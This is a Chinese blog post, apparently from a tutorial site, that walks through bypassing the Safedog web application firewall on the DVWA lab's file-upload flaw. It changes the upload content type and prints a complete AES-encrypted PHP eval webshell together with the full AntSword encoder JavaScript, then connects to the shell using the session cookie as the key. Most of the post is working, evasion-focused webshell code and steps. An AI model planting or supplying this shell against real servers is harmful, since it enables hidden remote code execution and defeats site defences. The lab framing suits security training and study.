文件上传绕过安全狗

以dvwa靶场文件上传漏洞为例,安装安全狗后尝试上传一个一句话木马,发现被拦截

 接下来尝试抓包修改文件类型,看看能不能上传上去,修改文件类型后上传成功,将info.php改为png

 

 但是上传上去的是图片,不方便用蚁剑连接。而且修改文件类型仅仅只是做到了落地免杀,没有做动态免杀,在用蚁剑连接木马的时候还是需要访问php文件还是需要读到内存里,一旦读取还是会被安全狗拦截,所以需要给蚁剑装一个编码器,因为普通的编码可能还是会被安全狗识别拦截,这里去github上下载一个

https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php/encoder

选择256位

打开编码器的源码 ,里面自带了一个 免杀的木马,等下使用这个木马进行上传

/**
 * php::aes-256-cfb (zeroPadding)编码器
 * Create at: 2019/05/10 01:10:53
 * Author: @Medicean
 * 
-----------------------------------------------
<?php
@session_start();
$pwd='ant';
$key=substr(str_pad(session_id(),32,'a'),0,32);
$iv=$key;
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-256-CFB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
?>

-----------------------------------------------
KEY的长度	aes-x-cbc
16	aes-128-cbc
24	aes-192-cbc
32	aes-256-cbc
 */

'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));

function get_cookie(Name, CookieStr="") {
   var search = Name + "="
   var returnvalue = "";
   if (CookieStr.length > 0) {
     var sd = CookieStr.indexOf(search);
     if (sd!= -1) {
        sd += search.length;
        var end = CookieStr.indexOf(";", sd);
        if (end == -1){
          end = CookieStr.length;
        }
        returnvalue = window.unescape(CookieStr.substring(sd, end));
      }
   } 
   return returnvalue;
}

function decryptText(keyStr, text) {
  let buff = Buffer.alloc(32, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CFB,
    padding: CryptoJS.pad.ZeroPadding
  }).toString(CryptoJS.enc.Utf8)
  return decodetext;
}

function encryptText(keyStr, text) {
  let buff = Buffer.alloc(32, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CFB,
    padding: CryptoJS.pad.ZeroPadding,
  }).toString()
  return encodetext;
}

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 从扩展中获取 shell 配置
  let headers = ext.opts.httpConf.headers;
  if(!headers.hasOwnProperty('Cookie')) {
    window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误");
    return data;
  }
  let session_key = "PHPSESSID";
  let keyStr = get_cookie(session_key, headers['Cookie']);
  if(keyStr.length === 0) {
    window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误");
    return data;
  }
  data[pwd] = encryptText(keyStr, data['_']);
  // ##########    请在上方编写你自己的代码   ###################
  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

新建编码器,选择php

 把代码复制进去

 添加完后点击保存

然后把上面给的木马上传上去。是一个免杀木马可以直接绕过安全狗

<?php
@session_start();
$pwd='ant';
$key=substr(str_pad(session_id(),32,'a'),0,32);
$iv=$key;
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-256-CFB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
?>

然后用蚁剑尝试连接

在选择编码器的时候要选择自己刚刚添加的自定义的编码器名字,我这里定义的是a

 

 设置请求信息,找到登录该网站的cookie。这个编码器会对流量进行加密而加密所用的密钥就是cookie

 

添加进去,cookie要注意大小写

 

 之后即可连接成功

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值